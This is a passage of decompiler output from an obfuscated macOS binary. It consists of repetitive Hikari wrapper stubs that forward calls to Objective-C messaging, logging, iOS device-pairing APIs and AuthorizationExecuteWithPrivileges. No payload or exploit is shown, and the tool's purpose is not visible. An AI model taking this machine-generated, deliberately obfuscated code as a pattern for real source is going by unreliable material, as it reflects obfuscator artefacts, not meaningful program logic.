return HikariFunctionWrapper_18966(a1, a2);
}
//----- (00000001002245D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18968(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001002245E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18969(const void *a1, int a2)
{
HikariFunctionWrapper_18968(a1, a2);
}
//----- (00000001002245F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18970(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224600) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18971(void *a1, const char *a2)
{
HikariFunctionWrapper_18970(a1, a2);
}
//----- (0000000100224610) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18972(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224620) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18973(void *a1, const char *a2)
{
return HikariFunctionWrapper_18972(a1, a2);
}
//----- (0000000100224630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18974(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18975(void *a1, const char *a2)
{
return HikariFunctionWrapper_18974(a1, a2);
}
//----- (0000000100224650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18976(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18977(void *a1, const char *a2)
{
return HikariFunctionWrapper_18976(a1, a2);
}
//----- (0000000100224670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18978(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18979(void *a1, const char *a2)
{
return HikariFunctionWrapper_18978(a1, a2);
}
//----- (0000000100224690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18980(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002246A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18981(void *a1, const char *a2)
{
return HikariFunctionWrapper_18980(a1, a2);
}
//----- (00000001002246B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18982(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002246C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18983(void *a1, const char *a2)
{
return HikariFunctionWrapper_18982(a1, a2);
}
//----- (00000001002246D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18984(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002246E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18985(void *a1, const char *a2)
{
return HikariFunctionWrapper_18984(a1, a2);
}
//----- (00000001002246F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18986(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224700) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18987(NSString *a1)
{
HikariFunctionWrapper_18986(a1);
}
//----- (0000000100224710) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18988(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224720) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18989(void *a1, const char *a2)
{
return HikariFunctionWrapper_18988(a1, a2);
}
//----- (0000000100224730) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18990(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18991(void *a1, const char *a2)
{
return HikariFunctionWrapper_18990(a1, a2);
}
//----- (0000000100224750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18992(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18993(void *a1, const char *a2)
{
return HikariFunctionWrapper_18992(a1, a2);
}
//----- (0000000100224770) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18994(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224780) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18995(void *a1, const char *a2)
{
return HikariFunctionWrapper_18994(a1, a2);
}
//----- (0000000100224790) ----------------------------------------------------
NSString *HikariFunctionWrapper_18996()
{
return NSTemporaryDirectory();
}
//----- (00000001002247A0) ----------------------------------------------------
NSString *HikariFunctionWrapper_18997()
{
return HikariFunctionWrapper_18996();
}
//----- (00000001002247B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18998(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002247C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18999(void *a1, const char *a2)
{
return HikariFunctionWrapper_18998(a1, a2);
}
//----- (00000001002247D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19000(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002247E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19001(void *a1, const char *a2)
{
return HikariFunctionWrapper_19000(a1, a2);
}
//----- (00000001002247F0) ----------------------------------------------------
NSString *HikariFunctionWrapper_19002()
{
return NSTemporaryDirectory();
}
//----- (0000000100224800) ----------------------------------------------------
NSString *HikariFunctionWrapper_19003()
{
return HikariFunctionWrapper_19002();
}
//----- (0000000100224810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19004(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19005(void *a1, const char *a2)
{
return HikariFunctionWrapper_19004(a1, a2);
}
//----- (0000000100224830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19006(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19007(void *a1, const char *a2)
{
return HikariFunctionWrapper_19006(a1, a2);
}
//----- (0000000100224850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19008(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224860) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19009(void *a1, const char *a2)
{
return HikariFunctionWrapper_19008(a1, a2);
}
//----- (0000000100224870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19010(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224880) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19011(void *a1, const char *a2)
{
HikariFunctionWrapper_19010(a1, a2);
}
//----- (0000000100224890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19012(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002248A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19013(void *a1, const char *a2)
{
HikariFunctionWrapper_19012(a1, a2);
}
//----- (00000001002248B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19014(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002248C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19015(void *a1, const char *a2)
{
HikariFunctionWrapper_19014(a1, a2);
}
//----- (00000001002248D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19016(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002248E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19017(void *a1, const char *a2)
{
return HikariFunctionWrapper_19016(a1, a2);
}
//----- (00000001002248F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19018(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19019(NSString *a1)
{
HikariFunctionWrapper_19018(a1);
}
//----- (0000000100224910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19020(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19021(void *a1, const char *a2)
{
return HikariFunctionWrapper_19020(a1, a2);
}
//----- (0000000100224930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19022(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19023(void *a1, const char *a2)
{
return HikariFunctionWrapper_19022(a1, a2);
}
//----- (0000000100224950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19024(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224960) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19025(void *a1, const char *a2)
{
return HikariFunctionWrapper_19024(a1, a2);
}
//----- (0000000100224970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19026(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19027(void *a1, const char *a2)
{
return HikariFunctionWrapper_19026(a1, a2);
}
//----- (0000000100224990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19028(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002249A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19029(void *a1, const char *a2)
{
return HikariFunctionWrapper_19028(a1, a2);
}
//----- (00000001002249B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19030(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002249C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19031(void *a1, const char *a2)
{
return HikariFunctionWrapper_19030(a1, a2);
}
//----- (00000001002249D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19032(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002249E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19033(void *a1, const char *a2)
{
return HikariFunctionWrapper_19032(a1, a2);
}
//----- (00000001002249F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19034(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19035(void *a1, const char *a2)
{
return HikariFunctionWrapper_19034(a1, a2);
}
//----- (0000000100224A10) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19036(__int64 a1)
{
return AMDeviceConnect(a1);
}
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
//----- (0000000100224A20) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19037(__int64 a1)
{
return HikariFunctionWrapper_19036(a1);
}
//----- (0000000100224A30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19038(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224A40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19039(NSString *a1)
{
HikariFunctionWrapper_19038(a1);
}
//----- (0000000100224A50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19040(__int64 a1)
{
return AMDeviceStartSession(a1);
}
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
//----- (0000000100224A60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19041(__int64 a1)
{
return HikariFunctionWrapper_19040(a1);
}
//----- (0000000100224A70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19042(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224A80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19043(NSString *a1)
{
HikariFunctionWrapper_19042(a1);
}
//----- (0000000100224A90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19044(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224AA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19045(NSString *a1)
{
HikariFunctionWrapper_19044(a1);
}
//----- (0000000100224AB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19046(__int64 a1)
{
return AMDeviceValidatePairing(a1);
}
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
//----- (0000000100224AC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19047(__int64 a1)
{
return HikariFunctionWrapper_19046(a1);
}
//----- (0000000100224AD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19048(__int64 a1)
{
return AMDeviceStartSession(a1);
}
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
//----- (0000000100224AE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19049(__int64 a1)
{
return HikariFunctionWrapper_19048(a1);
}
//----- (0000000100224AF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19050(__int64 a1)
{
return AMDeviceDisconnect(a1);
}
// 10025616E: using guessed type __int64 __fastcall AMDeviceDisconnect(_QWORD);
//----- (0000000100224B00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19051(__int64 a1)
{
return HikariFunctionWrapper_19050(a1);
}
//----- (0000000100224B10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19052(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224B20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19053(void *a1, const char *a2)
{
return HikariFunctionWrapper_19052(a1, a2);
}
//----- (0000000100224B30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19054(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224B40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19055(NSString *a1)
{
HikariFunctionWrapper_19054(a1);
}
//----- (0000000100224B50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19056(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224B60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19057(void *a1, const char *a2)
{
return HikariFunctionWrapper_19056(a1, a2);
}
//----- (0000000100224B70) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_19058(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2)
{
return AuthorizationFree(a1, a2);
}
//----- (0000000100224B80) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_19059(const AuthorizationOpaqueRef *a1, AuthorizationFlags a2)
{
return HikariFunctionWrapper_19058(a1, a2);
}
//----- (0000000100224B90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19060(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224BA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19061(void *a1, const char *a2)
{
return HikariFunctionWrapper_19060(a1, a2);
}
//----- (0000000100224BB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19062(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224BC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19063(void *a1, const char *a2)
{
return HikariFunctionWrapper_19062(a1, a2);
}
//----- (0000000100224BD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19064(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224BE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19065(void *a1, const char *a2)
{
HikariFunctionWrapper_19064(a1, a2);
}
//----- (0000000100224BF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19066(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224C00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19067(void *a1, const char *a2)
{
return HikariFunctionWrapper_19066(a1, a2);
}
//----- (0000000100224C10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19068(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224C20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19069(NSString *a1)
{
HikariFunctionWrapper_19068(a1);
}
//----- (0000000100224C30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19070(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224C40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19071(NSString *a1)
{
HikariFunctionWrapper_19070(a1);
}
//----- (0000000100224C50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19072(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (0000000100224C60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_19073(__int64 a1)
{
return HikariFunctionWrapper_19072(a1);
}
//----- (0000000100224C70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19074(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224C80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19075(void *a1, const char *a2)
{
return HikariFunctionWrapper_19074(a1, a2);
}
//----- (0000000100224C90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19076(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224CA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19077(void *a1, const char *a2)
{
return HikariFunctionWrapper_19076(a1, a2);
}
//----- (0000000100224CB0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_19078(
const AuthorizationOpaqueRef *a1,
const char *a2,
AuthorizationFlags a3,
char *const *a4,
FILE **a5)
{
return AuthorizationExecuteWithPrivileges(a1, a2, a3, a4, a5);
}
//----- (0000000100224CC0) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_19079(
const AuthorizationOpaqueRef *a1,
const char *a2,
AuthorizationFlags a3,
char *const *a4,
FILE **a5)
{
return HikariFunctionWrapper_19078(a1, a2, a3, a4, a5);
}
//----- (0000000100224CD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19080(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224CE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19081(NSString *a1)
{
HikariFunctionWrapper_19080(a1);
}
//----- (0000000100224CF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19082(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224D00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19083(void *a1, const char *a2)
{
return HikariFunctionWrapper_19082(a1, a2);
}
//----- (0000000100224D10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19084(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224D20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19085(NSString *a1)
{
HikariFunctionWrapper_19084(a1);
}
//----- (0000000100224D30) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_19086(
const AuthorizationOpaqueRef *a1,
const char *a2,
AuthorizationFlags a3,
char *const *a4,
FILE **a5)
{
return AuthorizationExecuteWithPrivileges(a1, a2, a3, a4, a5);
}
//----- (0000000100224D40) ----------------------------------------------------
OSStatus __fastcall HikariFunctionWrapper_19087(
const AuthorizationOpaqueRef *a1,
const char *a2,
AuthorizationFlags a3,
char *const *a4,
FILE **a5)
{
return HikariFunctionWrapper_19086(a1, a2, a3, a4, a5);
}
//----- (0000000100224D50) ----------------------------------------------------
pid_t __fastcall HikariFunctionWrapper_19088(int *a1)
{
return wait(a1);
}
//----- (0000000100224D60) ----------------------------------------------------
pid_t __fastcall HikariFunctionWrapper_19089(int *a1)
{
return HikariFunctionWrapper_19088(a1);
}
//----- (0000000100224D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19090(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224D80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19091(void *a1, const char *a2)
{
return HikariFunctionWrapper_19090(a1, a2);
}
//----- (0000000100224D90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19092(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224DA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19093(void *a1, const char *a2)
{
return HikariFunctionWrapper_19092(a1, a2);
}
//----- (0000000100224DB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19094(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224DC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19095(NSString *a1)
{
HikariFunctionWrapper_19094(a1);
}
//----- (0000000100224DD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19096(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224DE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19097(void *a1, const char *a2)
{
return HikariFunctionWrapper_19096(a1, a2);
}
//----- (0000000100224DF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19098(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19099(void *a1, const char *a2)
{
return HikariFunctionWrapper_19098(a1, a2);
}
//----- (0000000100224E10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19100(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224E20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19101(void *a1, const char *a2)
{
HikariFunctionWrapper_19100(a1, a2);
}
//----- (0000000100224E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19102(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19103(void *a1, const char *a2)
{
return HikariFunctionWrapper_19102(a1, a2);
}
//----- (0000000100224E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19104(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224E60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19105(void *a1, const char *a2)
{
return HikariFunctionWrapper_19104(a1, a2);
}
//----- (0000000100224E70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19106(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224E80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19107(void *a1, const char *a2)
{
return HikariFunctionWrapper_19106(a1, a2);
}
//----- (0000000100224E90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19108(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224EA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19109(void *a1, const char *a2)
{
return HikariFunctionWrapper_19108(a1, a2);
}
//----- (0000000100224EB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19110(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224EC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19111(void *a1, const char *a2)
{
return HikariFunctionWrapper_19110(a1, a2);
}
//----- (0000000100224ED0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19112(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224EE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19113(void *a1, const char *a2)
{
HikariFunctionWrapper_19112(a1, a2);
}
//----- (0000000100224EF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19114(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224F00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19115(void *a1, const char *a2)
{
return HikariFunctionWrapper_19114(a1, a2);
}
//----- (0000000100224F10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19116(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224F20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19117(void *a1, const char *a2)
{
return HikariFunctionWrapper_19116(a1, a2);
}
//----- (0000000100224F30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19118(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224F40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19119(void *a1, const char *a2)
{
return HikariFunctionWrapper_19118(a1, a2);
}
//----- (0000000100224F50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19120(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224F60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19121(void *a1, const char *a2)
{
return HikariFunctionWrapper_19120(a1, a2);
}
//----- (0000000100224F70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19122(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224F80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19123(void *a1, const char *a2)
{
HikariFunctionWrapper_19122(a1, a2);
}
//----- (0000000100224F90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19124(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224FA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19125(void *a1, const char *a2)
{
return HikariFunctionWrapper_19124(a1, a2);
}
//----- (0000000100224FB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19126(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224FC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19127(void *a1, const char *a2)
{
return HikariFunctionWrapper_19126(a1, a2);
}
//----- (0000000100224FD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19128(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224FE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19129(void *a1, const char *a2)
{
HikariFunctionWrapper_19128(a1, a2);
}
//----- (0000000100224FF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19130(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225000) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19131(void *a1, const char *a2)
{
return HikariFunctionWrapper_19130(a1, a2);
}
//----- (0000000100225010) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19132(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225020) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19133(void *a1, const char *a2)
{
HikariFunctionWrapper_19132(a1, a2);
}
//----- (0000000100225030) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19134(void *a1, const char *a2)
{
